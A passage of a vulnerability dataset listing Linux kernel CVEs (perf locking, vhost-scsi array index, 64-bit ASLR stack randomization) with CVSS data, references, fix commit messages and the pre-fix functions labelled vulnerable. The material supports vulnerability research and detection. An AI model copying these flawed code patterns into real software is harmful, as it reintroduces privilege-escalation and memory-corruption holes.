False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://source.android.com/security/bulletin/2016-12-01.html', 'name': 'http://source.android.com/security/bulletin/2016-12-01.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/94679', 'name': '94679', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2017/dsa-3791', 'name': 'DSA-3791', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.8', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'kernel/events/core.c in the performance subsystem in the Linux kernel before 4.0 mismanages locks during certain migrations, which allows local users to gain privileges via a crafted application, aka Android internal bug 30955111.'}]
2017-11-04T01:29Z
2016-12-28T07:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Peter Zijlstra
2015-01-23 12:24:14+01:00
perf: Fix event->ctx locking There have been a few reported issues wrt. the lack of locking around changing event->ctx. This patch tries to address those. It avoids the whole rwsem thing; and while it appears to work, please give it some thought in review. What I did fail at is sensible runtime checks on the use of event->ctx, the RCU use makes it very hard. Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: Paul E. McKenney <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Linus Torvalds <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]>
f63a8daa5812afef4f06c962351687e1ff9ccb2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
perf_remove_from_owner
perf_remove_from_owner( struct perf_event * event)
['event']
static void perf_remove_from_owner(struct perf_event *event) { struct task_struct *owner; rcu_read_lock(); owner = ACCESS_ONCE(event->owner); /* * Matches the smp_wmb() in perf_event_exit_task(). If we observe * !owner it means the list deletion is complete and we can indeed * free this event, otherwise we need to serialize on * owner->perf_event_mutex. */ smp_read_barrier_depends(); if (owner) { /* * Since delayed_put_task_struct() also drops the last * task reference we can safely take a new reference * while holding the rcu_read_lock(). */ get_task_struct(owner); } rcu_read_unlock(); if (owner) { mutex_lock(&owner->perf_event_mutex); /* * We have to re-check the event->owner field, if it is cleared * we raced with perf_event_exit_task(), acquiring the mutex * ensured they're done, and we can proceed with freeing the * event. */ if (event->owner) list_del_init(&event->owner_entry); mutex_unlock(&owner->perf_event_mutex); put_task_struct(owner); } }
87
True
1
CVE-2016-6787
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://source.android.com/security/bulletin/2016-12-01.html', 'name': 'http://source.android.com/security/bulletin/2016-12-01.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/94679', 'name': '94679', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2017/dsa-3791', 'name': 'DSA-3791', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.8', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'kernel/events/core.c in the performance subsystem in the Linux kernel before 4.0 mismanages locks during certain migrations, which allows local users to gain privileges via a crafted application, aka Android internal bug 31095224.'}]
2017-11-04T01:29Z
2016-12-28T07:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Peter Zijlstra
2015-01-23 12:24:14+01:00
perf: Fix event->ctx locking There have been a few reported issues wrt. the lack of locking around changing event->ctx. This patch tries to address those. It avoids the whole rwsem thing; and while it appears to work, please give it some thought in review. What I did fail at is sensible runtime checks on the use of event->ctx, the RCU use makes it very hard. Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: Paul E. McKenney <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Linus Torvalds <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]>
f63a8daa5812afef4f06c962351687e1ff9ccb2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
perf_remove_from_owner
perf_remove_from_owner( struct perf_event * event)
['event']
static void perf_remove_from_owner(struct perf_event *event) { struct task_struct *owner; rcu_read_lock(); owner = ACCESS_ONCE(event->owner); /* * Matches the smp_wmb() in perf_event_exit_task(). If we observe * !owner it means the list deletion is complete and we can indeed * free this event, otherwise we need to serialize on * owner->perf_event_mutex. */ smp_read_barrier_depends(); if (owner) { /* * Since delayed_put_task_struct() also drops the last * task reference we can safely take a new reference * while holding the rcu_read_lock(). */ get_task_struct(owner); } rcu_read_unlock(); if (owner) { mutex_lock(&owner->perf_event_mutex); /* * We have to re-check the event->owner field, if it is cleared * we raced with perf_event_exit_task(), acquiring the mutex * ensured they're done, and we can proceed with freeing the * event. */ if (event->owner) list_del_init(&event->owner_entry); mutex_unlock(&owner->perf_event_mutex); put_task_struct(owner); } }
87
True
1
CVE-2015-4036
False
False
False
False
AV:L/AC:L/Au:N/C:C/I:C/A:C
LOCAL
LOW
NONE
COMPLETE
COMPLETE
COMPLETE
7.2
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://github.com/torvalds/linux/commit/59c816c1f24df0204e01851431d3bab3eb76719c', 'name': 'https://github.com/torvalds/linux/commit/59c816c1f24df0204e01851431d3bab3eb76719c', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=59c816c1f24df0204e01851431d3bab3eb76719c', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=59c816c1f24df0204e01851431d3bab3eb76719c', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/05/13/4', 'name': '[oss-security] 20150513 CVE request for vhost/scsi possible memory corruption.', 'refsource': 'MLIST', 'tags': ['Exploit']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1189864', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1189864', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/74664', 'name': '74664', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2634-1', 'name': 'USN-2634-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2633-1', 'name': 'USN-2633-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033729', 'name': '1033729', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00049.html', 'name': 'SUSE-SU-2015:1324', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.18.0', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Array index error in the tcm_vhost_make_tpg function in drivers/vhost/scsi.c in the Linux kernel before 4.0 might allow guest OS users to cause a denial of service (memory corruption) or possibly have unspecified other impact via a crafted VHOST_SCSI_SET_ENDPOINT ioctl call. NOTE: the affected function was renamed to vhost_scsi_make_tpg before the vulnerability was announced.'}]
2016-12-22T02:59Z
2015-08-31T20:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Dan Carpenter
2015-02-05 10:37:33+03:00
vhost/scsi: potential memory corruption This code in vhost_scsi_make_tpg() is confusing because we limit "tpgt" to UINT_MAX but the data type of "tpg->tport_tpgt" and that is a u16. I looked at the context and it turns out that in vhost_scsi_set_endpoint(), "tpg->tport_tpgt" is used as an offset into the vs_tpg[] array which has VHOST_SCSI_MAX_TARGET (256) elements so anything higher than 255 then it is invalid. I have made that the limit now. In vhost_scsi_send_evt() we mask away values higher than 255, but now that the limit has changed, we don't need the mask. Signed-off-by: Dan Carpenter <[email protected]> Signed-off-by: Nicholas Bellinger <[email protected]>
59c816c1f24df0204e01851431d3bab3eb76719c
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
vhost_scsi_make_tpg
vhost_scsi_make_tpg( struct se_wwn * wwn , struct config_group * group , const char * name)
['wwn', 'group', 'name']
vhost_scsi_make_tpg(struct se_wwn *wwn, struct config_group *group, const char *name) { struct vhost_scsi_tport *tport = container_of(wwn, struct vhost_scsi_tport, tport_wwn); struct vhost_scsi_tpg *tpg; unsigned long tpgt; int ret; if (strstr(name, "tpgt_") != name) return ERR_PTR(-EINVAL); if (kstrtoul(name + 5, 10, &tpgt) || tpgt > UINT_MAX) return ERR_PTR(-EINVAL); tpg = kzalloc(sizeof(struct vhost_scsi_tpg), GFP_KERNEL); if (!tpg) { pr_err("Unable to allocate struct vhost_scsi_tpg"); return ERR_PTR(-ENOMEM); } mutex_init(&tpg->tv_tpg_mutex); INIT_LIST_HEAD(&tpg->tv_tpg_list); tpg->tport = tport; tpg->tport_tpgt = tpgt; ret = core_tpg_register(&vhost_scsi_fabric_configfs->tf_ops, wwn, &tpg->se_tpg, tpg, TRANSPORT_TPG_TYPE_NORMAL); if (ret < 0) { kfree(tpg); return NULL; } mutex_lock(&vhost_scsi_mutex); list_add_tail(&tpg->tv_tpg_list, &vhost_scsi_list); mutex_unlock(&vhost_scsi_mutex); return &tpg->se_tpg; }
215
True
1
CVE-2015-4036
False
False
False
False
AV:L/AC:L/Au:N/C:C/I:C/A:C
LOCAL
LOW
NONE
COMPLETE
COMPLETE
COMPLETE
7.2
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://github.com/torvalds/linux/commit/59c816c1f24df0204e01851431d3bab3eb76719c', 'name': 'https://github.com/torvalds/linux/commit/59c816c1f24df0204e01851431d3bab3eb76719c', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=59c816c1f24df0204e01851431d3bab3eb76719c', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=59c816c1f24df0204e01851431d3bab3eb76719c', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/05/13/4', 'name': '[oss-security] 20150513 CVE request for vhost/scsi possible memory corruption.', 'refsource': 'MLIST', 'tags': ['Exploit']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1189864', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1189864', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/74664', 'name': '74664', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2634-1', 'name': 'USN-2634-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2633-1', 'name': 'USN-2633-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033729', 'name': '1033729', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00049.html', 'name': 'SUSE-SU-2015:1324', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.18.0', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Array index error in the tcm_vhost_make_tpg function in drivers/vhost/scsi.c in the Linux kernel before 4.0 might allow guest OS users to cause a denial of service (memory corruption) or possibly have unspecified other impact via a crafted VHOST_SCSI_SET_ENDPOINT ioctl call. NOTE: the affected function was renamed to vhost_scsi_make_tpg before the vulnerability was announced.'}]
2016-12-22T02:59Z
2015-08-31T20:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Dan Carpenter
2015-02-05 10:37:33+03:00
vhost/scsi: potential memory corruption This code in vhost_scsi_make_tpg() is confusing because we limit "tpgt" to UINT_MAX but the data type of "tpg->tport_tpgt" and that is a u16. I looked at the context and it turns out that in vhost_scsi_set_endpoint(), "tpg->tport_tpgt" is used as an offset into the vs_tpg[] array which has VHOST_SCSI_MAX_TARGET (256) elements so anything higher than 255 then it is invalid. I have made that the limit now. In vhost_scsi_send_evt() we mask away values higher than 255, but now that the limit has changed, we don't need the mask. Signed-off-by: Dan Carpenter <[email protected]> Signed-off-by: Nicholas Bellinger <[email protected]>
59c816c1f24df0204e01851431d3bab3eb76719c
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
vhost_scsi_send_evt
vhost_scsi_send_evt( struct vhost_scsi * vs , struct vhost_scsi_tpg * tpg , struct se_lun * lun , u32 event , u32 reason)
['vs', 'tpg', 'lun', 'event', 'reason']
vhost_scsi_send_evt(struct vhost_scsi *vs, struct vhost_scsi_tpg *tpg, struct se_lun *lun, u32 event, u32 reason) { struct vhost_scsi_evt *evt; evt = vhost_scsi_allocate_evt(vs, event, reason); if (!evt) return; if (tpg && lun) { /* TODO: share lun setup code with virtio-scsi.ko */ /* * Note: evt->event is zeroed when we allocate it and * lun[4-7] need to be zero according to virtio-scsi spec. */ evt->event.lun[0] = 0x01; evt->event.lun[1] = tpg->tport_tpgt & 0xFF; if (lun->unpacked_lun >= 256) evt->event.lun[2] = lun->unpacked_lun >> 8 | 0x40 ; evt->event.lun[3] = lun->unpacked_lun & 0xFF; } llist_add(&evt->list, &vs->vs_event_list); vhost_work_queue(&vs->dev, &vs->vs_event_work); }
149
True
1
CVE-2015-1593
False
False
False
False
AV:N/AC:L/Au:N/C:P/I:N/A:N
NETWORK
LOW
NONE
PARTIAL
NONE
NONE
5.0
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.openwall.com/lists/oss-security/2015/02/13/13', 'name': '[oss-security] 20150213 Re: CVE-Request -- Linux ASLR integer overflow', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://lkml.org/lkml/2015/1/7/811', 'name': '[linux-kernel] 20150107 Re: [PATH] Fix stack randomization on x86_64 bit', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=4e7c22d447bb6d7e37bfe39ff658486ae78e8d77', 'name': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=4e7c22d447bb6d7e37bfe39ff658486ae78e8d77', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://github.com/torvalds/linux/commit/4e7c22d447bb6d7e37bfe39ff658486ae78e8d77', 'name': 'https://github.com/torvalds/linux/commit/4e7c22d447bb6d7e37bfe39ff658486ae78e8d77', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1192519', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1192519', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.1', 'name': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.1', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://hmarco.org/bugs/linux-ASLR-integer-overflow.html', 'name': 'http://hmarco.org/bugs/linux-ASLR-integer-overflow.html', 'refsource': 'MISC', 'tags': ['Exploit']}, {'url': 'http://www.debian.org/security/2015/dsa-3170', 'name': 'DSA-3170', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00015.html', 'name': 'SUSE-SU-2015:0736', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/72607', 'name': '72607', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2565-1', 'name': 'USN-2565-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2564-1', 'name': 'USN-2564-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2563-1', 'name': 'USN-2563-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2562-1', 'name': 'USN-2562-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2561-1', 'name': 'USN-2561-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2560-1', 'name': 'USN-2560-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00009.html', 'name': 'openSUSE-SU-2015:0714', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1221.html', 'name': 'RHSA-2015:1221', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1138.html', 'name': 'RHSA-2015:1138', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1137.html', 'name': 'RHSA-2015:1137', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2019:3517', 'name': 'RHSA-2019:3517', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:x64:*', 'versionEndIncluding': '3.18.9', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The stack randomization feature in the Linux kernel before 3.19.1 on 64-bit platforms uses incorrect data types for the results of bitwise left-shift operations, which makes it easier for attackers to bypass the ASLR protection mechanism by predicting the address of the top of the stack, related to the randomize_stack_top function in fs/binfmt_elf.c and the stack_maxrandom_size function in arch/x86/mm/mmap.c.'}]
2018-01-05T02:30Z
2015-03-16T10:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Hector Marco-Gisbert
2015-02-14 09:33:50-08:00
x86, mm/ASLR: Fix stack randomization on 64-bit systems The issue is that the stack for processes is not properly randomized on 64 bit architectures due to an integer overflow. The affected function is randomize_stack_top() in file "fs/binfmt_elf.c": static unsigned long randomize_stack_top(unsigned long stack_top) { unsigned int random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { random_variable = get_random_int() & STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } return PAGE_ALIGN(stack_top) + random_variable; return PAGE_ALIGN(stack_top) - random_variable; } Note that, it declares the "random_variable" variable as "unsigned int". Since the result of the shifting operation between STACK_RND_MASK (which is 0x3fffff on x86_64, 22 bits) and PAGE_SHIFT (which is 12 on x86_64): random_variable <<= PAGE_SHIFT; then the two leftmost bits are dropped when storing the result in the "random_variable". This variable shall be at least 34 bits long to hold the (22+12) result. These two dropped bits have an impact on the entropy of process stack. Concretely, the total stack entropy is reduced by four: from 2^28 to 2^30 (One fourth of expected entropy). This patch restores back the entropy by correcting the types involved in the operations in the functions randomize_stack_top() and stack_maxrandom_size(). The successful fix can be tested with: $ for i in `seq 1 10`; do cat /proc/self/maps | grep stack; done 7ffeda566000-7ffeda587000 rw-p 00000000 00:00 0 [stack] 7fff5a332000-7fff5a353000 rw-p 00000000 00:00 0 [stack] 7ffcdb7a1000-7ffcdb7c2000 rw-p 00000000 00:00 0 [stack] 7ffd5e2c4000-7ffd5e2e5000 rw-p 00000000 00:00 0 [stack] ... Once corrected, the leading bytes should be between 7ffc and 7fff, rather than always being 7fff. Signed-off-by: Hector Marco-Gisbert <[email protected]> Signed-off-by: Ismael Ripoll <[email protected]> [ Rebased, fixed 80 char bugs, cleaned up commit message, added test example and CVE ] Signed-off-by: Kees Cook <[email protected]> Cc: <[email protected]> Cc: Linus Torvalds <[email protected]> Cc: Andrew Morton <[email protected]> Cc: Al Viro <[email protected]> Fixes: CVE-2015-1593 Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Borislav Petkov <[email protected]>
4e7c22d447bb6d7e37bfe39ff658486ae78e8d77
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
stack_maxrandom_size
stack_maxrandom_size( void)
['void']
static unsigned int stack_maxrandom_size(void) { unsigned int max = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { max = ((-1U) & STACK_RND_MASK) << PAGE_SHIFT; } return max; }
50
True
1
CVE-2015-1593
False
False
False
False
AV:N/AC:L/Au:N/C:P/I:N/A:N
NETWORK
LOW
NONE
PARTIAL
NONE
NONE
5.0
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.openwall.com/lists/oss-security/2015/02/13/13', 'name': '[oss-security] 20150213 Re: CVE-Request -- Linux ASLR integer overflow', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://lkml.org/lkml/2015/1/7/811', 'name': '[linux-kernel] 20150107 Re: [PATH] Fix stack randomization on x86_64 bit', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=4e7c22d447bb6d7e37bfe39ff658486ae78e8d77', 'name': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=4e7c22d447bb6d7e37bfe39ff658486ae78e8d77', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://github.com/torvalds/linux/commit/4e7c22d447bb6d7e37bfe39ff658486ae78e8d77', 'name': 'https://github.com/torvalds/linux/commit/4e7c22d447bb6d7e37bfe39ff658486ae78e8d77', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1192519', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1192519', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.1', 'name': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.1', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://hmarco.org/bugs/linux-ASLR-integer-overflow.html', 'name': 'http://hmarco.org/bugs/linux-ASLR-integer-overflow.html', 'refsource': 'MISC', 'tags': ['Exploit']}, {'url': 'http://www.debian.org/security/2015/dsa-3170', 'name': 'DSA-3170', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00015.html', 'name': 'SUSE-SU-2015:0736', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/72607', 'name': '72607', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2565-1', 'name': 'USN-2565-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2564-1', 'name': 'USN-2564-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2563-1', 'name': 'USN-2563-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2562-1', 'name': 'USN-2562-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2561-1', 'name': 'USN-2561-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2560-1', 'name': 'USN-2560-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00009.html', 'name': 'openSUSE-SU-2015:0714', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1221.html', 'name': 'RHSA-2015:1221', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1138.html', 'name': 'RHSA-2015:1138', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1137.html', 'name': 'RHSA-2015:1137', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2019:3517', 'name': 'RHSA-2019:3517', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:x64:*', 'versionEndIncluding': '3.18.9', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The stack randomization feature in the Linux kernel before 3.19.1 on 64-bit platforms uses incorrect data types for the results of bitwise left-shift operations, which makes it easier for attackers to bypass the ASLR protection mechanism by predicting the address of the top of the stack, related to the randomize_stack_top function in fs/binfmt_elf.c and the stack_maxrandom_size function in arch/x86/mm/mmap.c.'}]
2018-01-05T02:30Z
2015-03-16T10:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
